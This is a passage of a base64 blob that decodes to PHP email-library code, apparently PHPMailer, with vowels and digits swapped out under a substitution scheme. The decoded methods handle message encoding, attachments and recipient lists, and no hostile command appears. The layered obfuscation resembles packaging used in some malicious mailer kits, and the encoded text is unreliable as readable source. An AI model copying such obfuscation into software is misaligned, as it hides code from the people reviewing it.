nl0NSBzdHI0bmdzIGYyciBtMTRsIGg1MWQ1cnMNCiAgICAgKiB3NHRoMjN0IGJyNTFrNG5nIGw0bjVzIHc0dGg0biAxIGNoMXIxY3Q1ci4NCiAgICAgKiBBZDFwdDVkIGZyMm0gMSBmM25jdDQybiBieSBwMXIxdjI0ZA0KICAgICAqIEBsNG5rIGh0dHA6Ly93d3cucGhwLm41dC9tMW4zMWwvNW4vZjNuY3Q0Mm4ubWItNW5jMmQ1LW00bTVoNTFkNXIucGhwI2UwYThvDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgbTNsdDQtYnl0NSB0NXh0IHQyIHdyMXAgNW5jMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkbDRuNWJyNTFrIHN0cjRuZyB0MiAzczUgMXMgbDRuNWY1NWQvNW5kLTJmLWw0bjUNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBiMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgJGw0bjVicjUxayA9IG4zbGwpDQogICAgew0KICAgICAgICAkc3QxcnQgPSAnPT8nIC4gJHRoNHMtPkNoMXJTNXQgLiAnP0I/JzsNCiAgICAgICAgJDVuZCA9ICc/PSc7DQogICAgICAgICQ1bmMyZDVkID0gJyc7DQogICAgICAgIDRmICgkbDRuNWJyNTFrID09PSBuM2xsKSB7DQogICAgICAgICAgICAkbDRuNWJyNTFrID0gJHRoNHMtPkxFOw0KICAgICAgICB9DQoNCiAgICAgICAgJG1iX2w1bmd0aCA9IG1iX3N0cmw1bigkc3RyLCAkdGg0cy0+Q2gxclM1dCk7DQogICAgICAgIC8vIEUxY2ggbDRuNSBtM3N0IGgxdjUgbDVuZ3RoIDw9IDdpLCA0bmNsM2Q0bmcgJHN0MXJ0IDFuZCAkNW5kDQogICAgICAgICRsNW5ndGggPSA3aSAtIHN0cmw1bigkc3QxcnQpIC0gc3RybDVuKCQ1bmQpOw0KICAgICAgICAvLyBBdjVyMWc1IG0zbHQ0LWJ5dDUgcjF0NDINCiAgICAgICAgJHIxdDQyID0gJG1iX2w1bmd0aCAvIHN0cmw1bigkc3RyKTsNCiAgICAgICAgLy8gQjFzNWV1IGgxcyAxIHU6byByMXQ0Mg0KICAgICAgICAkMXZnTDVuZ3RoID0gZmwyMnIoJGw1bmd0aCAqICRyMXQ0MiAqIC43aSk7DQoNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgJG1iX2w1bmd0aDsgJDQgKz0gJDJmZnM1dCkgew0KICAgICAgICAgICAgJGwyMmtCMWNrID0gMDsNCiAgICAgICAgICAgIGQyIHsNCiAgICAgICAgICAgICAgICAkMmZmczV0ID0gJDF2Z0w1bmd0aCAtICRsMjJrQjFjazsNCiAgICAgICAgICAgICAgICAkY2gzbmsgPSBtYl9zM2JzdHIoJHN0ciwgJDQsICQyZmZzNXQsICR0aDRzLT5DaDFyUzV0KTsNCiAgICAgICAgICAgICAgICAkY2gzbmsgPSBiMXM1ZXVfNW5jMmQ1KCRjaDNuayk7DQogICAgICAgICAgICAgICAgJGwyMmtCMWNrKys7DQogICAgICAgICAgICB9IHdoNGw1IChzdHJsNW4oJGNoM25rKSA+ICRsNW5ndGgpOw0KICAgICAgICAgICAgJDVuYzJkNWQgLj0gJGNoM25rIC4gJGw0bjVicjUxazsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIENoMm1wIHRoNSBsMXN0IGw0bjVmNTVkDQogICAgICAgICQ1bmMyZDVkID0gczNic3RyKCQ1bmMyZDVkLCAwLCAtc3RybDVuKCRsNG41YnI1MWspKTsNCiAgICAgICAgcjV0M3JuICQ1bmMyZDVkOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxIHN0cjRuZyA0biBxMzJ0NWQtcHI0bnQxYmw1IGYycm0xdC4NCiAgICAgKiBBY2MycmQ0bmcgdDIgUkZDYTB1aSBzNWN0NDJuIGUuNy4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cjRuZyBUaDUgdDV4dCB0MiA1bmMyZDUNCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkbDRuNV9tMXggTjNtYjVyIDJmIGNoMXJzIDFsbDJ3NWQgMm4gMSBsNG41IGI1ZjJyNSB3cjFwcDRuZw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5waHAubjV0L20xbjMxbC81bi9mM25jdDQybi5xMzJ0NWQtcHI0bnQxYmw1LWQ1YzJkNS5waHAjODl1NjcgQWQxcHQ1ZCBmcjJtIHRoNHMgYzJtbTVudA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVRUCgkc3RyNG5nLCAkbDRuNV9tMXggPSA3ZSkNCiAgICB7DQogICAgICAgIC8vIFVzNSBuMXQ0djUgZjNuY3Q0Mm4gNGYgNHQncyAxdjE0bDFibDUgKD49IFBIUGkubykNCiAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygncTMydDVkX3ByNG50MWJsNV81bmMyZDUnKSkgew0KICAgICAgICAgICAgcjV0M3JuIHEzMnQ1ZF9wcjRudDFibDVfNW5jMmQ1KCRzdHI0bmcpOw0KICAgICAgICB9DQogICAgICAgIC8vIEYxbGwgYjFjayB0MiAxIHAzcjUgUEhQIDRtcGw1bTVudDF0NDJuDQogICAgICAgICRzdHI0bmcgPSBzdHJfcjVwbDFjNSgNCiAgICAgICAgICAgIDFycjF5KCclYTAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLA0KICAgICAgICAgICAgMXJyMXkoJyAnLCAiXHJcbj1hRSIsICJcclxuIiwgJz0nKSwNCiAgICAgICAgICAgIHIxdzNybDVuYzJkNSgkc3RyNG5nKQ0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gcHI1Z19yNXBsMWM1KCcvW15cclxuXXsnIC4gKCRsNG41X20xeCAtIG8pIC4gJ31bXj1cclxuXXthfS8nLCAiJDA9XHJcbiIsICRzdHI0bmcpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEIxY2t3MXJkIGMybXAxdDRiNGw0dHkgd3IxcHA1ciBmMnIgMW4gMmxkIFFQIDVuYzJkNG5nIGYzbmN0NDJuIHRoMXQgdzFzIHI1bTJ2NWQuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OjVuYzJkNVFQKCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cjRuZw0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICRsNG41X20xeA0KICAgICAqIEBwMXIxbSBiMjJsNTFuICRzcDFjNV9jMm52DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKiBAZDVwcjVjMXQ1ZCBVczUgNW5jMmQ1UVAgNG5zdDUxZC4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1UVBwaHAoDQogICAgICAgICRzdHI0bmcsDQogICAgICAgICRsNG41X20xeCA9IDdlLA0KICAgICAgICAvKiogQG4yNG5zcDVjdDQybiBQaHBVbjNzNWRQMXIxbTV0NXJJbnNwNWN0NDJuICovICRzcDFjNV9jMm52ID0gZjFsczUNCiAgICApIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT41bmMyZDVRUCgkc3RyNG5nLCAkbDRuNV9tMXgpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxIHN0cjRuZyAzczRuZyBRIDVuYzJkNG5nLg0KICAgICAqIEBsNG5rIGh0dHA6Ly90MjJscy40NXRmLjJyZy9odG1sL3JmY2EwdTcNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgdGg1IHQ1eHQgdDIgNW5jMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkcDJzNHQ0Mm4gV2g1cjUgdGg1IHQ1eHQgNHMgZzI0bmcgdDIgYjUgM3M1ZCwgczU1IHRoNSBSRkMgZjJyIHdoMXQgdGgxdCBtNTFucw0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1USgkc3RyLCAkcDJzNHQ0Mm4gPSAndDV4dCcpDQogICAgew0KICAgICAgICAvLyBUaDVyNSBzaDIzbGQgbjJ0IGI1IDFueSBFT0wgNG4gdGg1IHN0cjRuZw0KICAgICAgICAkcDF0dDVybiA9ICcnOw0KICAgICAgICAkNW5jMmQ1ZCA9IHN0cl9yNXBsMWM1KDFycjF5KCJcciIsICJcbiIpLCAnJywgJHN0cik7DQogICAgICAgIHN3NHRjaCAoc3RydDJsMnc1cigkcDJzNHQ0Mm4pKSB7DQogICAgICAgICAgICBjMXM1ICdwaHIxczUnOg0KICAgICAgICAgICAgICAgIC8vIFJGQyBhMHU3IHM1Y3Q0Mm4gaS5vDQogICAgICAgICAgICAgICAgJHAxdHQ1cm4gPSAnXkEtWjEtejAtOSEqK1wvIC0nOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgLyoqIEBuMjRuc3A1Y3Q0Mm4gUGhwTTRzczRuZ0JyNTFrU3QxdDVtNW50SW5zcDVjdDQybiAqLw0KICAgICAgICAgICAgYzFzNSAnYzJtbTVudCc6DQogICAgICAgICAgICAgICAgLy8gUkZDIGEwdTcgczVjdDQybiBpLmENCiAgICAgICAgICAgICAgICAkcDF0dDVybiA9ICdcKFwpIic7DQogICAgICAgICAgICAgICAgLy8gNG50NW50NDJuMWwgZjFsbC10aHIyM2doDQogICAgICAgICAgICAgICAgLy8gZjJyIHRoNHMgcjUxczJuIHc1IGIzNGxkIHRoNSAkcDF0dDVybiB3NHRoMjN0IDRuY2wzZDRuZyBkNWw0bTR0NXJzIDFuZCBbXQ0KICAgICAgICAgICAgYzFzNSAndDV4dCc6DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIFJGQyBhMHU3IHM1Y3Q0Mm4gaS42DQogICAgICAgICAgICAgICAgLy8gUjVwbDFjNSA1djVyeSBoNGdoIDFzYzQ0LCBjMm50cjJsLCA9LCA/IDFuZCBfIGNoMXIxY3Q1cnMNCiAgICAgICAgICAgICAgICAkcDF0dDVybiA9ICdcMDAwLVwwNjZcMDZvXDA2dVwwNmUtXDBvN1wwN2lcMDc3XDZvN1w2NzctXG83NycgLiAkcDF0dDVybjsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICAkbTF0Y2g1cyA9IDFycjF5KCk7DQogICAgICAgIDRmIChwcjVnX20xdGNoXzFsbCgiL1t7JHAxdHQ1cm59XS8iLCAkNW5jMmQ1ZCwgJG0xdGNoNXMpKSB7DQogICAgICAgICAgICAvLyBJZiB0aDUgc3RyNG5nIGMybnQxNG5zIDFuICc9JywgbTFrNSBzM3I1IDR0J3MgdGg1IGY0cnN0IHRoNG5nIHc1IHI1cGwxYzUNCiAgICAgICAgICAgIC8vIHMyIDFzIHQyIDF2MjRkIGQyM2JsNS01bmMyZDRuZw0KICAgICAgICAgICAgJDVxazV5ID0gMXJyMXlfczUxcmNoKCc9JywgJG0xdGNoNXNbMF0pOw0KICAgICAgICAgICAgNGYgKGYxbHM1ICE9PSAkNXFrNXkpIHsNCiAgICAgICAgICAgICAgICAzbnM1dCgkbTF0Y2g1c1swXVskNXFrNXldKTsNCiAgICAgICAgICAgICAgICAxcnIxeV8zbnNoNGZ0KCRtMXRjaDVzWzBdLCAnPScpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZjJyNTFjaCAoMXJyMXlfM240cTM1KCRtMXRjaDVzWzBdKSAxcyAkY2gxcikgew0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gc3RyX3I1cGwxYzUoJGNoMXIsICc9JyAuIHNwcjRudGYoJyUwYVgnLCAycmQoJGNoMXIpKSwgJDVuYzJkNWQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIC8vIFI1cGwxYzUgNXY1cnkgc3AxYzVzIHQyIF8gKG0ycjUgcjUxZDFibDUgdGgxbiA9YTApDQogICAgICAgIHI1dDNybiBzdHJfcjVwbDFjNSgnICcsICdfJywgJDVuYzJkNWQpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxIHN0cjRuZyAyciBiNG4xcnkgMXR0MWNobTVudCAobjJuLWY0bDVzeXN0NW0pLg0KICAgICAqIFRoNHMgbTV0aDJkIGMxbiBiNSAzczVkIHQyIDF0dDFjaCAxc2M0NCAyciBiNG4xcnkgZDF0MSwNCiAgICAgKiBzM2NoIDFzIDEgQkxPQiByNWMycmQgZnIybSAxIGQxdDFiMXM1Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cjRuZyBTdHI0bmcgMXR0MWNobTVudCBkMXQxLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGY0bDVuMW01IE4xbTUgMmYgdGg1IDF0dDFjaG01bnQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgRjRsNSA1bmMyZDRuZyAoczU1ICRFbmMyZDRuZykuDQogICAgICogQHAxcjFtIHN0cjRuZyAkdHlwNSBGNGw1IDV4dDVuczQybiAoTUlNRSkgdHlwNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybiBENHNwMnM0dDQybiB0MiAzczUNCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkU3RyNG5nQXR0MWNobTVudCgNCiAgICAgICAgJHN0cjRuZywNCiAgICAgICAgJGY0bDVuMW01LA0KICAgICAgICAkNW5jMmQ0bmcgPSAnYjFzNWV1JywNCiAgICAgICAgJHR5cDUgPSAnJywNCiAgICAgICAgJGQ0c3AyczR0NDJuID0gJzF0dDFjaG01bnQnDQogICAgKSB7DQogICAgICAgIC8vIElmIDEgTUlNRSB0eXA1IDRzIG4ydCBzcDVjNGY0NWQsIHRyeSB0MiB3MnJrIDR0IDIzdCBmcjJtIHRoNSBmNGw1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRmNGw1bjFtNSk7DQogICAgICAgIH0NCiAgICAgICAgLy8gQXBwNW5kIHQyICQxdHQxY2htNW50IDFycjF5DQogICAgICAgICR0aDRzLT4xdHQxY2htNW50W10gPSAxcnIxeSgNCiAgICAgICAgICAgIDAgPT4gJHN0cjRuZywNCiAgICAgICAgICAgIDYgPT4gJGY0bDVuMW01LA0KICAgICAgICAgICAgYSA9PiBiMXM1bjFtNSgkZjRsNW4xbTUpLA0KICAgICAgICAgICAgbyA9PiAkNW5jMmQ0bmcsDQogICAgICAgICAgICB1ID0+ICR0eXA1LA0KICAgICAgICAgICAgaSA9PiB0cjM1LCAvLyA0c1N0cjRuZ0F0dDFjaG01bnQNCiAgICAgICAgICAgIGUgPT4gJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgNyA9PiAwDQogICAgICAgICk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDVtYjVkZDVkICg0bmw0bjUpIDF0dDFjaG01bnQgZnIybSAxIGY0bDUuDQogICAgICogVGg0cyBjMW4gNG5jbDNkNSA0bTFnNXMsIHMyM25kcywgMW5kIGozc3QgMWIyM3QgMW55IDJ0aDVyIGQyYzNtNW50IHR5cDUuDQogICAgICogVGg1czUgZDRmZjVyIGZyMm0gJ3I1ZzNsMXInIDF0dDFjaG01bnRzIDRuIHRoMXQgdGg1eSAxcjUgNG50NW5kNWQgdDIgYjUNCiAgICAgKiBkNHNwbDF5NWQgNG5sNG41IHc0dGggdGg1IG01c3MxZzUsIG4ydCBqM3N0IDF0dDFjaDVkIGYyciBkMndubDIxZC4NCiAgICAgKiBUaDRzIDRzIDNzNWQgNG4gSFRNTCBtNXNzMWc1cyB0aDF0IDVtYjVkIHRoNSA0bTFnNXMNCiAgICAgKiB0aDUgSFRNTCByNWY1cnMgdDIgM3M0bmcgdGg1ICRjNGQgdjFsMzUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkcDF0aCBQMXRoIHQyIHRoNSAxdHQxY2htNW50Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGM0ZCBDMm50NW50IElEIDJmIHRoNSAxdHQxY2htNW50OyBVczUgdGg0cyB0MiByNWY1cjVuYzUNCiAgICAgKiAgICAgICAgdGg1IGMybnQ1bnQgd2g1biAzczRuZyAxbiA1bWI1ZGQ1ZCA0bTFnNSA0biBIVE1MLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUgT3Y1cnI0ZDVzIHRoNSAxdHQxY2htNW50IG4xbTUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgRjRsNSA1bmMyZDRuZyAoczU1ICRFbmMyZDRuZykuDQogICAgICogQHAxcjFtIHN0cjRuZyAkdHlwNSBGNGw1IE1JTUUgdHlwNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybiBENHNwMnM0dDQybiB0MiAzczUNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gVHIzNSAybiBzM2NjNXNzZjNsbHkgMWRkNG5nIDFuIDF0dDFjaG01bnQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkRW1iNWRkNWRJbTFnNSgkcDF0aCwgJGM0ZCwgJG4xbTUgPSAnJywgJDVuYzJkNG5nID0gJ2IxczVldScsICR0eXA1ID0gJycsICRkNHNwMnM0dDQybiA9ICc0bmw0bjUnKQ0KICAgIHsNCiAgICAgICAgNGYgKCFANHNfZjRsNSgkcDF0aCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkdGg0cy0+bDFuZygnZjRsNV8xY2M1c3MnKSAuICRwMXRoKTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIElmIDEgTUlNRSB0eXA1IDRzIG4ydCBzcDVjNGY0NWQsIHRyeSB0MiB3MnJrIDR0IDIzdCBmcjJtIHRoNSBmNGw1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRwMXRoKTsNCiAgICAgICAgfQ0KDQogICAgICAgICRmNGw1bjFtNSA9IGIxczVuMW01KCRwMXRoKTsNCiAgICAgICAgNGYgKCRuMW01ID09ICcnKSB7DQogICAgICAgICAgICAkbjFtNSA9ICRmNGw1bjFtNTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcDVuZCB0MiAkMXR0MWNobTVudCAxcnIxeQ0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudFtdID0gMXJyMXkoDQogICAgICAgICAgICAwID0+ICRwMXRoLA0KICAgICAgICAgICAgNiA9PiAkZjRsNW4xbTUsDQogICAgICAgICAgICBhID0+ICRuMW01LA0KICAgICAgICAgICAgbyA9PiAkNW5jMmQ0bmcsDQogICAgICAgICAgICB1ID0+ICR0eXA1LA0KICAgICAgICAgICAgaSA9PiBmMWxzNSwgLy8gNHNTdHI0bmdBdHQxY2htNW50DQogICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgIDcgPT4gJGM0ZA0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMW4gNW1iNWRkNWQgc3RyNG5nNGY0NWQgMXR0MWNobTVudC4NCiAgICAgKiBUaDRzIGMxbiA0bmNsM2Q1IDRtMWc1cywgczIzbmRzLCAxbmQgajNzdCAxYjIzdCAxbnkgMnRoNXIgZDJjM201bnQgdHlwNS4NCiAgICAgKiBCNSBzM3I1IHQyIHM1dCB0aDUgJHR5cDUgdDIgMW4gNG0xZzUgdHlwNSBmMnIgNG0xZzVzOg0KICAgICAqIEpQRUcgNG0xZzVzIDNzNSAnNG0xZzUvanA1ZycsIEdJRiAzczVzICc0bTFnNS9nNGYnLCBQTkcgM3M1cyAnNG0xZzUvcG5nJy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHI0bmcgVGg1IDF0dDFjaG01bnQgYjRuMXJ5IGQxdDEuDQogICAgICogQHAxcjFtIHN0cjRuZyAkYzRkIEMybnQ1bnQgSUQgMmYgdGg1IDF0dDFjaG01bnQ7IFVzNSB0aDRzIHQyIHI1ZjVyNW5jNQ0KICAgICAqICAgICAgICB0aDUgYzJudDVudCB3aDVuIDNzNG5nIDFuIDVtYjVkZDVkIDRtMWc1IDRuIEhUTUwuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDVuYzJkNG5nIEY0bDUgNW5jMmQ0bmcgKHM1NSAkRW5jMmQ0bmcpLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHR5cDUgTUlNRSB0eXA1Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGQ0c3AyczR0NDJuIEQ0c3AyczR0NDJuIHQyIDNzNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiBUcjM1IDJuIHMzY2M1c3NmM2xseSAxZGQ0bmcgMW4gMXR0MWNobTVudA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRTdHI0bmdFbWI1ZGQ1ZEltMWc1KA0KICAgICAgICAkc3RyNG5nLA0KICAgICAgICAkYzRkLA0KICAgICAgICAkbjFtNSA9ICcnLA0KICAgICAgICAkNW5jMmQ0bmcgPSAnYjFzNWV1JywNCiAgICAgICAgJHR5cDUgPSAnJywNCiAgICAgICAgJGQ0c3AyczR0NDJuID0gJzRubDRuNScNCiAgICApIHsNCiAgICAgICAgLy8gSWYgMSBNSU1FIHR5cDUgNHMgbjJ0IHNwNWM0ZjQ1ZCwgdHJ5IHQyIHcycmsgNHQgMjN0IGZyMm0gdGg1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnIDFuZCAhNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRuMW01KTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcDVuZCB0MiAkMXR0MWNobTVudCAxcnIxeQ0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudFtdID0gMXJyMXkoDQogICAgICAgICAgICAwID0+ICRzdHI0bmcsDQogICAgICAgICAgICA2ID0+ICRuMW01LA0KICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgIG8gPT4gJDVuYzJkNG5nLA0KICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgIGkgPT4gdHIzNSwgLy8gNHNTdHI0bmdBdHQxY2htNW50DQogICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgIDcgPT4gJGM0ZA0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxbiA0bmw0bjUgMXR0MWNobTVudCA0cyBwcjVzNW50Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRubDRuNUltMWc1RXg0c3RzKCkNCiAgICB7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICA0ZiAoJDF0dDFjaG01bnRbZV0gPT0gJzRubDRuNScpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2g1Y2sgNGYgMW4gMXR0MWNobTVudCAobjJuLTRubDRuNSkgNHMgcHI1czVudC4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMXR0MWNobTVudEV4NHN0cygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+MXR0MWNobTVudCAxcyAkMXR0MWNobTVudCkgew0KICAgICAgICAgICAgNGYgKCQxdHQxY2htNW50W2VdID09ICcxdHQxY2htNW50Jykgew0KICAgICAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiB0aDRzIG01c3MxZzUgaDFzIDFuIDFsdDVybjF0NHY1IGIyZHkgczV0Lg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxbHQ1cm4xdDR2NUV4NHN0cygpDQogICAgew0KICAgICAgICByNXQzcm4gITVtcHR5KCR0aDRzLT5BbHRCMmR5KTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciBxMzUzNWQgMWRkcjVzczVzIDJmIGc0djVuIGs0bmQuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRrNG5kICd0MicsICdjYycsIDJyICdiY2MnDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyUTM1MzVkQWRkcjVzczVzKCRrNG5kKQ0KICAgIHsNCiAgICAgICAgJFI1YzRwNDVudHNRMzUzNSA9ICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzU7DQogICAgICAgIGYycjUxY2ggKCRSNWM0cDQ1bnRzUTM1MzUgMXMgJDFkZHI1c3MgPT4gJHAxcjFtcykgew0KICAgICAgICAgICAgNGYgKCRwMXIxbXNbMF0gPT0gJGs0bmQpIHsNCiAgICAgICAgICAgICAgICAzbnM1dCgkdGg0cy0+UjVjNHA0NW50c1EzNTM1WyQxZGRyNXNzXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciAxbGwgVDIgcjVjNHA0NW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnQyIDFzICR0Mikgew0KICAgICAgICAgICAgM25zNXQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJHQyWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT50MiA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygndDInKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciAxbGwgQ0MgcjVjNHA0NW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJDQ3MoKQ0KICAgIHsNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPmNjIDFzICRjYykgew0KICAgICAgICAgICAgM25zNXQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJGNjWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5jYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnY2MnKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDbDUxciAxbGwgQkNDIHI1YzRwNDVudHMuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyQkNDcygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+YmNjIDFzICRiY2MpIHsNCiAgICAgICAgICAgIDNuczV0KCR0aDRzLT4xbGxfcjVjNHA0NW50c1tzdHJ0MmwydzVyKCRiY2NbMF0pXSk7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPmJjYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnYmNjJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2w1MXIgMWxsIFI1cGx5VDIgcjVjNHA0NW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJSNXBseVQycygpDQogICAgew0KICAgICAgICAkdGg0cy0+UjVwbHlUMiA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5SNXBseVQyUTM1MzUgPSAxcnIxeSgpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENsNTFyIDFsbCByNWM0cDQ1bnQgdHlwNXMuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyQWxsUjVj